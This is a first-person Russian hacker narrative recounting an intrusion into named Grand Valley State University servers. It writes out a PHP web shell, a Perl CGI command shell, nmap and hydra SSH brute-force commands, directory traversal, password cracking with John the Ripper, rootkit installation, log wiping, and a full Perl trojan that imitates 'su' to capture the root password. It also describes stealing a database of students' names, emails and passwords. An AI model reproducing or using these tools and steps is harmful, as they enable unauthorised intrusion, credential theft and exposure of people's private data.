Ранним августовским утром в мою голову закралась идея проверить свою сообразительность, но так как программировать сегодня я был не в настроении, я решил проверить на прочность какой-нибудь ресурс. Зайдя в гугл я набрал запрос вида: filetype:cgi
inurl:file — мне в ответ вернулись тысячи ссылок с бажными скриптами :). Я даже не стал смотреть первую страницу, а сразу же перешел на шестую или седьмую. Перебрав пару тройку сайтов я не получил желаемого результата, но на пятый раз я попал вот на эту ссылку: saber.engineer.gvsu.edu/cgi-bin/file/index.cgi. Судя по url’у мне предстояло взламывать какой-то университет, это было хорошо, так как в в большинстве университетов нет грамотных админов, которые следят за сервером, да и скрипты пишут не профессиональные программисты, а ученики. Дабы удостовериться в своем предположении я стал собирать информацию о сервере. DomainsDB не принес ожидаемых результатов, тогда я пошел на www.nic.ru/whois/ и ввел ip-адрес сервера. Из
полученных данных я понял, что взламываю сервер США, а именно университета Grand Valley State University. Перейдя по ссылке я увидел форму с вводом логина и пароля, я уже подумывал о sql-injection. Но для проверки подставил пару test:test. И что вы думаете? Меня пустили на страницу управления файлами. Увидев, что на сервер можно загружать файлы я быстро накидал php-shell:
<PRE>
<?
System($_GET[‘cmd’]);
?>
</PRE>
Файл успешно залился на сервер, но никак не хотел выполнять команды. При обращении к файлу предлагалось просто загрузить его. Но меня это нисколько не расстроило, потому что я еще не пробовал заливать cgi-shell:
#!/usr/bin/perl
print «Content-type: text/htmlnn»;
$cmd=$ENV{QUERY_STRING};
$cmd=~ s/%20/ /g;
$cmd=`$cmd`;
print «<pre>$cmd</pre>»;
Закачка выполнилась тоже успешно, но выполняться скрипт не хотел, проблема была та же, что и с php-shell. Запустив nmap: nmap –sS –sV –O –v saber.engineer.gvsu.edu, я вернулся на страницу управления файлами и тут я заметил, что можно просматривать содержимое разных каталогов. Но для выбора было доступно лишь два: default, trash. Эти значения передавались переменной directory. Предположив, что переменная не фильтруется я сохранил страничку на локальном диске и пропатчил ее. Теперь вместо выбора директории была формочка ввода этой самой директории. Открыв ее в Internet Explorer’е я ввел директорию: ../../../../../../../../../../../etc/, нажал Enter, и я увидел список файлов в /etc/. Итак, смотреть содержимое каталогов я умел, но этим много не сделаешь. И я решил попробовать читать файлы, но ничего разумного у меня из этого не получилось. Забив на центр управления файлами, я перешел на главную страничку. Быстро просмотрев ее, я увидел две полезные для меня ссылки:
1) SSH Access (saber.engineer.gvsu.edu/user/ssh/)
2) User Homepages (saber.engineer.gvsu.edu/user/)
По первой из них я понял, что в системе есть пользователи с валиднами шеллами, а перейдя по второй ссылке я увидел список пользователей, имеющих доступ к командному интерпретатору американского университета :). Для извлечения пользователей из html страницы я написал простенький perl-скрипт:
#!/usr/bin/perl
open (FILE,$ARGV[0]);
open (OUT,">users");
while (<FILE>)
{
if ($_=~m/saber.engineer.gvsu.edu/user//)
{
($a,$b)=split('user/',$_);
($a,$b)=split('"',$b);
print OUT «$an»;
}
}
close (FILE);
close(OUT);
К тому времени nmap, запущенный еще при проверки файл-центра закончил свое сканирование. Посмотрев на результат его работы, я увидел для себя самое главное:
21/tcp open ftp?
22/tcp open ssh OpenSSH 2.9 FreeBSD localisations 20011202 (protocol 1.99)
23/tcp open telnet BSD-derived telnetd
Cервисы ftp и ssh не фиьтровались. Так же на серваке крутился бажный telnetd. Найдя для него
сплойт, скомпилировав и запустив его,
я получил приглашение ввести команду, но через 2-3 секунды соединение прервалось, запустив сплойт еще пару раз, я забил на него. Так как у меня был список пользователей, я нашел у себя на компе небольшой словарик с самыми часто употребляемыми словами и запустил
Гидру с такими параметрами:
hydra -L users -P words.txt –f -o saber.engineer.gvsu.edu.txt 148.61.104.224 ssh2
Через две минуты у меня был рабочий аккаунт в системе.
При входе в систему мне (точнее юзеру под которым я зашел) свалилось письмо, набрав команду mail, а потом выбрав первое письмо, я принялся его читать. Как выяснилось в письме содержался пароль от файл-центра. Писем больше не было, поэтому я перешел к изучению содержимого магнитных носителей :).
Первым моим действием были определение версии операционки: uname –a показал, что на сервере установлена FreeBSD 4.5. Под
нее было пару рабочих эксплойтов, но ни один не хотел компилироваться. После неудачи в получении рутовых прав легким способом я стал бродить по каталогам пользователей, где и были найдены еще три аккаунта с зашифрованными паролями. Расшифровав пароли джонником я жестко обломался, они не подходили ни к ftp ни к ssh. Вернувшись на сайт, я вспомнил, что все обращения с керверу записываются в файл
access.log (по умолчанию). Набрав команду locate access.log. Я получил три варианта расположения файла, и третий: /var/log/saber.engineer.gvsu.edu_access.log, был верный. Скопировав файл к себе на шелл я выполнил команду cat saber.engineer.gvsu.edu_log | grep pass > access, которая выбирала из лог-файла все строчки, где содержалась слово pass и записывала их в файл access. Изучив его я нашел скрипт админки: saber.engineer.gvsu.edu/users.pl , и восемь рабочих
аккаунтов от него. Решив посмотреть, что представляет из себя админка, я нашел скрипт смены пароля, который в теории мог менять пароль рута, но использовать я его не хотел. Короче, я решил оставить этот скрипт на крайний случай.
Предположив, что админ может работать по совместительству рутом, я начал подставлять пароли тех восьми пользователей, которых нашел в лог-файле. Но ничего путного из этого не получилось. Тогда я продолжил обход своих владений. В папке /usr/local/www/file были найдены хоумпаги юзеров. Но права на всех папках были 600, владельцем был nobody. Меня не пускало ни в одну из папок. Для того, чтобы просмотреть эти папки мне пришлось заливать cgi-shell в папку: /home/staff/spectro/public_html, и запускать его так: saber.engineer.gvsu.edu/user/spectro/cmd.cgi?id. Так как apache был запущен из под nobody, то после
выполнения команды id я убедился, что я стал непривилегированным пользователем. Просмотрев два каталога, я увидел, что в каждом имеется файл .pass, следовательно, он должен был быть и в каждой другой папке. Прочитав несколько таких файлов, я понял, что в них записан пароль от все того же файл центра. Но большинство пользователей имеют либо недостаток памяти, либо врожденную лень, что приводит к использованию одного пароля ко всем ресурсам :). И я начал усердно проверять пароли к командной строке, и в результате чего добавил в свой файл с логинами и паролями еще восемь ленивых пользователей :). После всего проделанного мне ничего больше не оставалось как просто-напросто читать почту пользователей к чьим аккаунтам я имел доступ. У каждого из них было чуть меньше трехсот писем. Сохранив все письма в текстовом файле, я стал проводить поиск по слову pass. И нашел еще один аккаунт, причем не на saber.engineer.gvsu.edu, а на engineer.gvsu.edu. Залогинившись, я посмотрел в какую операционку я попал. Это оказался пингвин с уязвимым ядром 2.4.20, которое я порутал с помощью
эксплойта с уязвимостью
do_brk. Получив рутшелл, я установил rootkit, почистил логи, содрал /etc/shadow и удалился. Для начала я решил провести брут по словарю, но таким способом я получил лишь два пасса от каких-то левых юзверей. Но я не сдавался, запустив джонна вот такой командой: john -stdout -incremental | john -stdin shadow.
Я пошел спать, надеясь получить пароль рута. Зачем я начал расшифрововать пароль спросите Вы, и
будете правы, зачем расшифрововать пароль, когда рутшелл уже имеется. Просто я считал рута ленивым пользователем, что означало возможность иметь один пароль ко всем или к некоторым машинам учебного заведения. Проснувшись утром я подошел за компьютер, но вопреки моим ожиданиям пароль рута не был найден, зато были определены пароли около двадцати пользователей. Зайдя в систему через руткит, я помотрел, кто заходил на сервер еще
(last). Выяснилось, что помимо меня на сервер заходило два пользователь: smith05 и ir04, но пользователь с ником ir04 заходил в начале лета, поэтому я просмотрел по диагонали файл истории smith05. И понял, что это скорее всего
администратор, так как пользователь активно юзает абсолютные права, с помощью su. И тут мою голову посетила блестящая идея, решение было красивым, но реализовать я его сумел где-то через час. Я решил написать программку на perl'е эмитирующую вызов команды su. Да-да, Вы не ошиблись именно команды su. Так как эта команда очень часто применяется и следовательно есть шанс быстро получить рутовый pass. Вот исходник этого скрипта:
#!/usr/bin/perl
use Term
ReadKey;
$user = $ARGV[0] || root;
$chislo = test($user);
if ($chislo == «1»){
system(«/dev/usb/su»);
}
else{
print «Password:»;
ReadMode 'noecho';
$password = ReadLine 0;
print «nsu: Sorryn»;
chomp $password;
ReadMode 'normal';
open(USE,">>/tmp/info");
print USE «$user:$passwordn»;
close(USE);
}
sub test() {
$user = shift;
open(USE,"</tmp/info");
while(<USE>){
if ($_ =~ m/$user/){
return «1»;
close(USE);
}
else{}
}
}
Давайте разберемся, чего же я здесь такого написал. С помощью модуля TermReadKey я сделал ввод пароля, напомню, что с помощью модуля можно вводить символы, не выводя их при этом на экран. Идем дальше. Дальше все проще, и действует по такому принципу: переменной $user присваивается значении root, если не указан первый параметр, после этого в переменную chislo записывается результат выполнения подпрограммы test. Эта подпрограммы проверяет, имеется ли у нас пароль к этому пользователю, если есть тогда сценарий запускает настоящую утилиту su, если же такого пользователя нет, то скрипт предоставляет ввести пароль, после сохраняет его в файле /tmp/info, а затем выводит сообщение о неверно набранном пароле. При повторном запуске скрипт уже находит в файле этого юзера и соответственно запускает настоящую команду su. Если что-то окажется непонятно, то присылайте свои вопросы. Но тут есть одно и мохнатое но.
А что если пользователь действительно введет неверный пароль? А тогда придется еще несколько раз заюзать скрипт, очистив при этом файл /tmp/info. Переместив настоящую утилиту su в /dev/usb/su, я скопировал свой скрипт в /bin/. Теперь при вызове команды su будет запускаться мой скрипт. Оставив все это в покое я начал изучать содержимое пользовательских папок, у юзера topcraft я нашел папочку .ssh, где
описывались доверенные хосты, их было два: clyamore.engineer.gvsu.edu и sky.engineer.gvsu.edu, к сожалению к первому серверу не подошел ни один аккаунт, но зато ко второй машине подошел один. Я быстренько посмотрел .bash_history пользователя под которым я зашел, и заметил такую вещь: команда su вводилась по три раза подряд практически постоянно, моя интуиция подсказывала мне, что скоро я найду тут рутовый пасс, интуиция меня не подвела, и уже
через пару минут у меня был рабочий рутовый пароль. Подняв свои права до рутовых
(с помощью команды su) я посмотрел, кто находится в консоли, и увидел трех админов
(рутов). Я поспешил выйти с сервера, но тут мое внимание привлекла дата входа пользователей, она равнялась 26 августа, хотя на дворе было
31. Поняв, что консоль открыта всегда, я установил в систему руткит. Залогинившись через только что установленный руткит, я почистил логи с помощью Vanish2 и стал изучать сервер. Посмотрев список активных процессов я увидел запущенный mysql, и в файле SkyDatabase.pl я увидел рутовый пароль к базе, чем незамедлительно воспользовался и скомуниздил базу себе. В базе находились Имена, фамилии, мыльники, пароли зарубежных студентов. Тем временем зайдя на сайт с подмененной утилитой su, я просмотрел /tmp/info, как я и
предполагал, там я нашел рут-пасс. Он подошел на машину claymore, мне повезло, что в sshd_config: PermitRootLogin равнялось yes. Установив и на эту машину руткит, я наконец-то успокоился.
Всего бы этого взлома не произошло, если бы не простые и одинаковые пароли, халатность админов и небольшое везение…
